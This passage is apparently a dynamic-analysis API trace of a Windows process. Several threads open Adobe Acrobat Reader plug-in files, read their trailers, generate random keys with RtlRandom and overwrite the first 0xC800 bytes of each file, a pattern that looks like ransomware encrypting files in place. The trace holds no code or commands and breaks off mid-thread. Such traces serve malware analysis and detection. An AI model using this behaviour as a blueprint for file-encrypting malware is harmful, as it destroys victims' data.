	[0094.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.338] WriteFile (hFile=0x894, lpBuffer=0x4939810, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fa3f90c, lpOverlapped=0x0) 

Thread:
	id = 1395
	os_tid = 0x21ec

	[0094.074] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api")) returned 0x20
	[0094.074] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", dwFileAttributes=0x20) returned 1
	[0094.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf50
	[0094.075] GetFileSizeEx (in: hFile=0xf50, lpFileSize=0x2fabfdf0 | out: lpFileSize=0x2fabfdf0*=108131) returned 1
	[0094.075] SetFilePointerEx (in: hFile=0xf50, liDistanceToMove=0x1a65f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.075] ReadFile (in: hFile=0xf50, lpBuffer=0x2fabfd74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fabfd70, lpOverlapped=0x0 | out: lpBuffer=0x2fabfd74*, lpNumberOfBytesRead=0x2fabfd70*=0x4, lpOverlapped=0x0) returned 1
	[0094.138] SetFilePointerEx (in: hFile=0xf50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984f50
	[0094.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984d70
	[0094.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984e10
	[0094.138] NtQuerySystemTime (in: CurrentTime=0x2fabfd50 | out: CurrentTime=0x2fabfd50*=132251868208690562) returned 0x0
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x460e8c6f
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x84e6dc36
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x3f94f986
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x48586417
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x1aeda08d
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0xa1544fb2
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0xe058c227
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x3a53ad00
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x491d95ec
	[0094.138] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x1d0d40b7
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0xa4be0731
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x6bc31de6
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x7e502169
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x6cb4ab4a
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x5ff54caa
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x1fecfe54
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x23180c0
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x744c36fc
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x79d93e7e
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x472b1a81
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x56d5de2c
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0xfe5a24fa
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x8bf67fa5
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0xe1f8575b
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x5f4c7189
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x5c34af24
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x7633c6e7
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x865e8d6b
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x1a6a1df1
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x762087
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0x2d0306a2
	[0094.139] RtlRandom (in: Seed=0x2fabfd5c | out: Seed=0x2fabfd5c) returned 0xebc066a7
	[0094.148] SetFilePointerEx (in: hFile=0xf50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.148] ReadFile (in: hFile=0xf50, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fabfd30, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x2fabfd30*=0xc800, lpOverlapped=0x0) returned 1
	[0094.320] SetFilePointerEx (in: hFile=0xf50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.320] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48e9030
	[0094.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88828
	[0094.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.322] WriteFile (hFile=0xf50, lpBuffer=0x48e9030, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fabfd30, lpOverlapped=0x0) 

Thread:
	id = 1396
	os_tid = 0x21f0

	[0094.076] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api")) returned 0x20
	[0094.076] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", dwFileAttributes=0x20) returned 1
	[0094.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf4c
	[0094.076] GetFileSizeEx (in: hFile=0xf4c, lpFileSize=0x2fb3ff38 | out: lpFileSize=0x2fb3ff38*=344675) returned 1
	[0094.076] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x5425f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.076] ReadFile (in: hFile=0xf4c, lpBuffer=0x2fb3febc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fb3feb8, lpOverlapped=0x0 | out: lpBuffer=0x2fb3febc*, lpNumberOfBytesRead=0x2fb3feb8*=0x4, lpOverlapped=0x0) returned 1
	[0094.127] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984f50
	[0094.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984fc8
	[0094.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984d70
	[0094.127] NtQuerySystemTime (in: CurrentTime=0x2fb3fe98 | out: CurrentTime=0x2fb3fe98*=132251868208690562) returned 0x0
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x9f7ee9e0
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x4ae053be
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xe3b4331b
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xd614d115
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x847cf6b8
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xbc7342ab
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x550107b0
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x2f13eba5
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x2884f64c
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xcca0d14a
	[0094.127] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xd5805504
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x3c371a00
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x96b159ce
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x87f7947e
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x1faea632
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xc54bbfe5
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xfa219d29
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xf62ab571
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xa7335325
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xbb8b0a9b
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x37c9527
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xa486f56b
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xd65f53f0
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x177bfa72
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xc5aa68c6
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x4b27b985
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x100e1c72
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x21362a93
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x248bf6e9
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xb9f80e59
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0x8e835906
	[0094.128] RtlRandom (in: Seed=0x2fb3fea4 | out: Seed=0x2fb3fea4) returned 0xd8e1e521
	[0094.137] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.137] ReadFile (in: hFile=0xf4c, lpBuffer=0x4ea3008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fb3fe50, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesRead=0x2fb3fe50*=0xc800, lpOverlapped=0x0) returned 1
	[0094.311] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0094.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88800
	[0094.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.319] WriteFile (hFile=0xf4c, lpBuffer=0x48dc828, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fb3fe50, lpOverlapped=0x0) 

Thread:
	id = 1397
	os_tid = 0x21f4

	[0094.078] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api")) returned 0x20
	[0094.078] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", dwFileAttributes=0x20) returned 1
	[0094.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf48
	[0094.079] GetFileSizeEx (in: hFile=0xf48, lpFileSize=0x2fbbf7d8 | out: lpFileSize=0x2fbbf7d8*=435811) returned 1
	[0094.079] SetFilePointerEx (in: hFile=0xf48, liDistanceToMove=0x6a65f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.079] ReadFile (in: hFile=0xf48, lpBuffer=0x2fbbf75c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fbbf758, lpOverlapped=0x0 | out: lpBuffer=0x2fbbf75c*, lpNumberOfBytesRead=0x2fbbf758*=0x4, lpOverlapped=0x0) returned 1
	[0094.116] SetFilePointerEx (in: hFile=0xf48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984f50
	[0094.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984f78
	[0094.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984d70
	[0094.116] NtQuerySystemTime (in: CurrentTime=0x2fbbf738 | out: CurrentTime=0x2fbbf738*=132251868208533866) returned 0x0
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x47ee4fb1
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x7ce4f36c
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x72229fd2
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xa3130b64
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xf2d228b6
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xd6e683f2
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xab88996b
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x9553a00f
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x6b99c1e5
	[0094.116] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xb59f32c0
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x8709a073
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x58449168
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x63b631e4
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x44902f37
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xd2d427e4
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xdec64f40
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x79644356
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x2dca2cdd
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xdf0c74cc
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xee2c62e
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xbd9fcfb9
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x6df95927
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xb27be7a3
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xc77694c
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xfce7946f
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x61aa3e2
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x6beee60b
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x3ab5ddfe
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xe846528
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0xe1d2a632
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x1e59315e
	[0094.117] RtlRandom (in: Seed=0x2fbbf744 | out: Seed=0x2fbbf744) returned 0x55b54c12
	[0094.126] SetFilePointerEx (in: hFile=0xf48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.126] ReadFile (in: hFile=0xf48, lpBuffer=0x503e840, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fbbf6f0, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2fbbf6f0*=0xc800, lpOverlapped=0x0) returned 1
	[0094.309] SetFilePointerEx (in: hFile=0xf48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e130
	[0094.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d887d8
	[0094.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.311] WriteFile (hFile=0xf48, lpBuffer=0x4f6e130, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fbbf6f0, lpOverlapped=0x0) 

Thread:
	id = 1398
	os_tid = 0x21f8

	[0094.080] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api")) returned 0x20
	[0094.080] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", dwFileAttributes=0x20) returned 1
	[0094.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf44
	[0094.080] GetFileSizeEx (in: hFile=0xf44, lpFileSize=0x2fc3f8a8 | out: lpFileSize=0x2fc3f8a8*=431203) returned 1
	[0094.081] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x6945f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.081] ReadFile (in: hFile=0xf44, lpBuffer=0x2fc3f82c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fc3f828, lpOverlapped=0x0 | out: lpBuffer=0x2fc3f82c*, lpNumberOfBytesRead=0x2fc3f828*=0x4, lpOverlapped=0x0) returned 1
	[0094.162] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0094.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0094.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77448
	[0094.162] NtQuerySystemTime (in: CurrentTime=0x2fc3f808 | out: CurrentTime=0x2fc3f808*=132251868209002898) returned 0x0
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xb8ac9370
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x2565d617
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x61e119de
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xea928f
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xee23ccf0
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xabe96b31
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x2ee0ee73
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x455ae4a8
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xc823ecc8
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x997bb792
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xa8832ec
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x33020c12
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x3eefe746
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x14f8515
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x58f4fc68
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x5efbe3f6
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x50ed722f
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xd0535d22
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x86dd8179
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xdc3ab0fb
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x5d5e9939
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x65e2b19c
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x4fa18371
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x225c8e4f
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xcc9cb82b
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0xae630eb1
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x3d8ee24e
	[0094.162] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x3872d9b0
	[0094.163] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x4cce282d
	[0094.163] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x5d86ff3c
